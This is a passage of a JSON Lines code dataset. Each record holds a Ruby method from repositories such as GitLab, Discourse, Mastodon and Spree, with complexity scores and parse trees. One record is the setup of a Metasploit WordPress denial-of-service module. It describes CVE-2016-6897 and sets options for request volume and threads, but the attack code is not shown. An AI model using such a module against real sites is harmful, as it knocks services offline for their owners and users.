",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},\"underscore\"]},\"to_sym\"]}]}]}]}]}]}]}]}","id":"439b8bd9-a8c5-4dfd-9b9a-bf96082a9c02"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/variant.rb","start_line":482,"raw_source":"def should_track_inventory?\n      track_inventory? && Spree::Config.track_inventory_levels\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"should_track_inventory?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"track_inventory?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Config\"]},\"track_inventory_levels\"]}]}]}","id":"28a62f4e-fccd-4234-a7d2-9de8594fe738"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/trends/links.rb","start_line":33,"raw_source":"def register(status, at_time = Time.now.utc)\n    original_status = status.proper\n\n    return unless original_status.public_visibility? &&\n                  status.public_visibility? &&\n                  !(original_status.account.silenced? || status.account.silenced?) &&\n                  !(original_status.spoiler_text? || original_status.sensitive?)\n\n    add(original_status.preview_card, status.account_id, at_time) if original_status.preview_card&.appropriate_for_trends?\n  end","complexity_score":34.4,"ast_json":"{\"type\":\"def\",\"children\":[\"register\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]},{\"type\":\"optarg\",\"children\":[\"at_time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"original_status\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"proper\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"original_status\"]},\"public_visibility?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"public_visibility?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"original_status\"]},\"account\"]},\"silenced?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"account\"]},\"silenced?\"]}]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"original_status\"]},\"spoiler_text?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"original_status\"]},\"sensitive?\"]}]}]},\"!\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"original_status\"]},\"preview_card\"]},\"appropriate_for_trends?\"]},{\"type\":\"send\",\"children\":[null,\"add\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"original_status\"]},\"preview_card\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"account_id\"]},{\"type\":\"lvar\",\"children\":[\"at_time\"]}]},null]}]}]}","id":"db2e15fc-d0cd-4936-ae7d-511878ca4182"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/cascading_project_setting_attribute.rb","start_line":18,"raw_source":"def cascading_attr(*attributes)\n      attributes.map(&:to_sym).each do |attribute|\n        # public methods\n        define_attr_reader(attribute)\n        define_attr_writer(attribute)\n        define_lock_methods(attribute)\n\n        # private methods\n        define_validator_methods(attribute)\n        define_attr_before_save(attribute)\n\n        validate :\"#{attribute}_changeable?\"\n\n        before_save :\"before_save_#{attribute}\", if: -> { will_save_change_to_attribute?(attribute) }\n      end\n    end","complexity_score":15.9,"ast_json":"{\"type\":\"def\",\"children\":[\"cascading_attr\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"attributes\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_sym\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_attr_reader\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"send\",\"children\":[null,\"define_attr_writer\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"send\",\"children\":[null,\"define_lock_methods\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"send\",\"children\":[null,\"define_validator_methods\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"send\",\"children\":[null,\"define_attr_before_save\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"send\",\"children\":[null,\"validate\",{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"str\",\"children\":[\"_changeable?\"]}]}]},{\"type\":\"send\",\"children\":[null,\"before_save\",{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"before_save_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"will_save_change_to_attribute?\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]}]}]}]}]}]}]}","id":"dc0fa73b-d31d-42f0-87ba-d1dd4558241b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/issuable_finder.rb","start_line":42,"raw_source":"def cache_database_id(database_id)\n        Gitlab::Cache::Import::Caching.write(cache_key, database_id, timeout: timeout)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"cache_database_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"database_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Cache\"]},\"Import\"]},\"Caching\"]},\"write\",{\"type\":\"send\",\"children\":[null,\"cache_key\"]},{\"type\":\"lvar\",\"children\":[\"database_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"send\",\"children\":[null,\"timeout\"]}]}]}]}]}","id":"23dc39f2-28d7-44f9-9d3d-0b18bc5ba952"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/definition/parser/test_test.rb","start_line":8,"raw_source":"def setup\n    @validator = mock()\n\n    @parser = Holidays::Definition::Parser::Test.new(@validator)\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@validator\",{\"type\":\"send\",\"children\":[null,\"mock\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@parser\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"Definition\"]},\"Parser\"]},\"Test\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@validator\"]}]}]}]}]}","id":"cd44502d-e2cd-4216-931b-29a80d31843a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/snippets_helper.rb","start_line":39,"raw_source":"def snippet_report_abuse_path(snippet)\n    return unless snippet.submittable_as_spam_by?(current_user)\n\n    mark_as_spam_snippet_path(snippet)\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"snippet_report_abuse_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"snippet\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"snippet\"]},\"submittable_as_spam_by?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"mark_as_spam_snippet_path\",{\"type\":\"lvar\",\"children\":[\"snippet\"]}]}]}]}","id":"45aa44a6-4fa9-4a5d-a538-4d0cc1ecc909"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/notification_mixin.rb","start_line":8,"raw_source":"def notify_task_finish(message, user_id, subject = self)\n    notify_task_emit(:generic_task_finish, message, user_id, subject)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"notify_task_finish\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]},{\"type\":\"arg\",\"children\":[\"user_id\"]},{\"type\":\"optarg\",\"children\":[\"subject\",{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"notify_task_emit\",{\"type\":\"sym\",\"children\":[\"generic_task_finish\"]},{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"subject\"]}]}]}","id":"d42ee3a4-d581-4e3b-9ad4-4a71f3a11d46"}
{"repo_name":"haml","file_path":"./repos/haml/test/haml/haml-spec/ugly_test.rb","start_line":613,"raw_source":"def test_Ruby_style_tag_with_id_as_an_attribute\n      haml    = %q{%p{:id => '1'}}\n      html    = %q{<p id='1'></p>}\n      locals  = {}\n      options = {}\n      haml_result = UglyTest.haml_result(haml, options, locals)\n      assert_equal html, haml_result\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_Ruby_style_tag_with_id_as_an_attribute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"haml\",{\"type\":\"str\",\"children\":[\"%p{:id => '1'}\"]}]},{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"str\",\"children\":[\"<p id='1'></p>\"]}]},{\"type\":\"lvasgn\",\"children\":[\"locals\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"haml_result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UglyTest\"]},\"haml_result\",{\"type\":\"lvar\",\"children\":[\"haml\"]},{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"locals\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"html\"]},{\"type\":\"lvar\",\"children\":[\"haml_result\"]}]}]}]}","id":"6570a1a0-5c33-414b-b27a-0c67e37462f7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/http/wordpress_directory_traversal_dos.rb","start_line":10,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'WordPress Traversal Directory DoS',\n        'Description' => %q{\n          Cross-site request forgery (CSRF) vulnerability in the wp_ajax_update_plugin\n          function in wp-admin/includes/ajax-actions.php in WordPress before 4.6\n          allows remote attackers to hijack the authentication of subscribers\n          for /dev/random read operations by leveraging a late call to\n          the check_ajax_referer function, a related issue to CVE-2016-6896.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Yorick Koster', # Vulnerability disclosure\n          'CryptisStudents' # Metasploit module\n        ],\n        'References' => [\n          ['CVE', '2016-6897'],\n          ['EDB', '40288'],\n          ['OVE', 'OVE-20160712-0036']\n        ],\n        'Notes' => {\n          'Stability' => [CRASH_SERVICE_DOWN],\n          'SideEffects' => [],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptInt.new('RLIMIT', [true, 'The number of requests to send', 200]),\n        OptInt.new('THREADS', [true, 'The number of concurrent threads', 5]),\n        OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 5]),\n        OptInt.new('DEPTH', [true, 'The depth of the path', 10]),\n        OptString.new('USERNAME', [true, 'The username to send the requests with', '']),\n        OptString.new('PASSWORD', [true, 'The password to send the requests with', ''])\n      ]\n    )\n  end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"WordPress Traversal Directory DoS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Cross-site request forgery (CSRF) vulnerability in the wp_ajax_update_plugin\\n\"]},{\"type\":\"str\",\"children\":[\"          function in wp-admin/includes/ajax-actions.php in WordPress before 4.6\\n\"]},{\"type\":\"str\",\"children\":[\"          allows remote attackers to hijack the authentication of subscribers\\n\"]},{\"type\":\"str\",\"children\":[\"          for /dev/random read operations by leveraging a late call to\\n\"]},{\"type\":\"str\",\"children\":[\"          the check_ajax_referer function, a related issue to CVE-2016-6896.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Yorick Koster\"]},{\"type\":\"str\",\"children\":[\"CryptisStudents\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2016-6897\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"40288\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OVE\"]},{\"type\":\"str\",\"children\":[\"OVE-20160712-0036\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SERVICE_DOWN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"RLIMIT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The number of requests to send\"]},{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"THREADS\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The number of concurrent threads\"]},{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"TIMEOUT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The maximum time in seconds to wait for each request to finish\"]},{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"DEPTH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The depth of the path\"]},{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The username to send the requests with\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The password to send the requests with\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]}","id":"7664ae03-1906-4cd9-89af-1a0dcd59d0a8"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/lib/holidays/definition/entity/test.rb","start_line":5,"raw_source":"def initialize(fields = {})\n          super(*fields.values_at(*members))\n        end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"fields\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"values_at\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"members\"]}]}]}]}]}]}","id":"2b827dfd-aea4-4e86-a7f0-3c9189d34ef8"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/concerns/spree/stores/setup.rb","start_line":43,"raw_source":"def setup_percentage\n        @setup_percentage ||= (setup_tasks_done / setup_tasks_total.to_f * 100).to_i\n      end","complexity_score":9.95,"ast_json":"{\"type\":\"def\",\"children\":[\"setup_percentage\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@setup_percentage\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"setup_tasks_done\"]},\"/\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"setup_tasks_total\"]},\"to_f\"]}]},\"*\",{\"type\":\"int\",\"children\":[100]}]}]},\"to_i\"]}]}]}","id":"e24bb36e-7f3e-47a5-9900-3b7dd39ff54b"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/components/work_package_relations_tab/relation_component_spec.rb","start_line":53,"raw_source":"def render_component(**params)\n    render_inline(described_class.new(**params))\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"render_component\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[null,\"render_inline\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}]}]}","id":"ec770151-b7e0-48a9-bb19-5b40fcef0093"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload_set.rb","start_line":630,"raw_source":"def _stages\n    return payload_type_modules[Payload::Type::Stage] || {}\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"_stages\",{\"type\":\"args\",\"children\":[]},{\"type\":\"return\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload_type_modules\"]},\"[]\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Payload\"]},\"Type\"]},\"Stage\"]}]},{\"type\":\"hash\",\"children\":[]}]}]}]}","id":"7cf1f0aa-974e-4bcc-966e-5d20c076b44f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/forms/users/invitation/principal_step/form.rb","start_line":102,"raw_source":"def name_label\n      if model.principal_type == \"User\"\n        I18n.t(\"activerecord.attributes.users/invitation/form_model.id_or_email\")\n      else\n        User.human_attribute_name(:name)\n      end\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"name_label\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"principal_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"User\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"activerecord.attributes.users/invitation/form_model.id_or_email\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"human_attribute_name\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}","id":"d1771b1b-083a-45e6-83c7-6f5c487b5b4c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/instrumentation_helper.rb","start_line":71,"raw_source":"def instrument_external_http(payload)\n      external_http_count = Gitlab::Metrics::Subscribers::ExternalHttp.request_count\n\n      return if external_http_count == 0\n\n      payload.merge! Gitlab::Metrics::Subscribers::ExternalHttp.payload\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"instrument_external_http\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"external_http_count\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Metrics\"]},\"Subscribers\"]},\"ExternalHttp\"]},\"request_count\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"external_http_count\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"merge!\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Metrics\"]},\"Subscribers\"]},\"ExternalHttp\"]},\"payload\"]}]}]}]}","id":"a902b609-2088-420d-a3db-9413d31a46fc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240626141555_add_packages_dependency_links_project_id_fk.rb","start_line":11,"raw_source":"def down\n    with_lock_retries do\n      remove_foreign_key :packages_dependency_links, column: :project_id\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"packages_dependency_links\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"project_id\"]}]}]}]}]}]}","id":"76ef9646-07bf-4fe6-9293-f2150d9f95c8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/fix_projects_without_prometheus_service.rb","start_line":188,"raw_source":"def migrate_instance_cluster?\n        if instance_variable_defined?(:@migrate_instance_cluster)\n          @migrate_instance_cluster\n        else\n          @migrate_instance_cluster = Migratable::Cluster.instance_type.has_prometheus_application?\n        end\n      end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"migrate_instance_cluster?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance_variable_defined?\",{\"type\":\"sym\",\"children\":[\"@migrate_instance_cluster\"]}]},{\"type\":\"ivar\",\"children\":[\"@migrate_instance_cluster\"]},{\"type\":\"ivasgn\",\"children\":[\"@migrate_instance_cluster\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Migratable\"]},\"Cluster\"]},\"instance_type\"]},\"has_prometheus_application?\"]}]}]}]}","id":"5374f5c0-530d-4bc6-8cde-6ff2b4f7dca1"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/render_to_string_test.rb","start_line":32,"raw_source":"def render_plain_text_response_with_inline_template_and_xml_format\n      render_to_string(inline: \"<language>Ruby</language>\", formats: [:xml])\n      render plain: \"Hello\"\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"render_plain_text_response_with_inline_template_and_xml_format\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_to_string\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"inline\"]},{\"type\":\"str\",\"children\":[\"<language>Ruby</language>\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"formats\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"xml\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plain\"]},{\"type\":\"str\",\"children\":[\"Hello\"]}]}]}]}]}]}","id":"47e52380-03e1-4c33-aaf3-08475d7c6463"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/matchers/exceed_query_limit.rb","start_line":25,"raw_source":"def reject_suffixes_with_identical_counts(suffs)\n      suffs.reject { |_k, counts| counts.first == counts.second }\n    end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"reject_suffixes_with_identical_counts\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"suffs\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"suffs\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_k\"]},{\"type\":\"arg\",\"children\":[\"counts\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"counts\"]},\"first\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"counts\"]},\"second\"]}]}]}]}","id":"be1c279c-0965-4e18-8a49-ccbbdefe7f47"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/user_merger.rb","start_line":153,"raw_source":"def merge_user_visits\n    if @acting_user\n      ::MessageBus.publish \"/merge_user\",\n                           { message: I18n.t(\"admin.user.merge_user.merging_user_visits\") },\n                           user_ids: [@acting_user.id]\n    end\n\n    update_user_id(:user_visits, conditions: \"x.visited_at = y.visited_at\")\n\n    sql = <<~SQL\n      UPDATE user_visits AS t\n      SET posts_read = t.posts_read + s.posts_read,\n        mobile       = t.mobile OR s.mobile,\n        time_read    = t.time_read + s.time_read\n      FROM user_visits AS s\n      WHERE t.user_id = :target_user_id AND s.user_id = :source_user_id\n            AND t.visited_at = s.visited_at\n    SQL\n\n    DB.exec(sql, source_user_id: @source_user.id, target_user_id: @target_user.id)\n  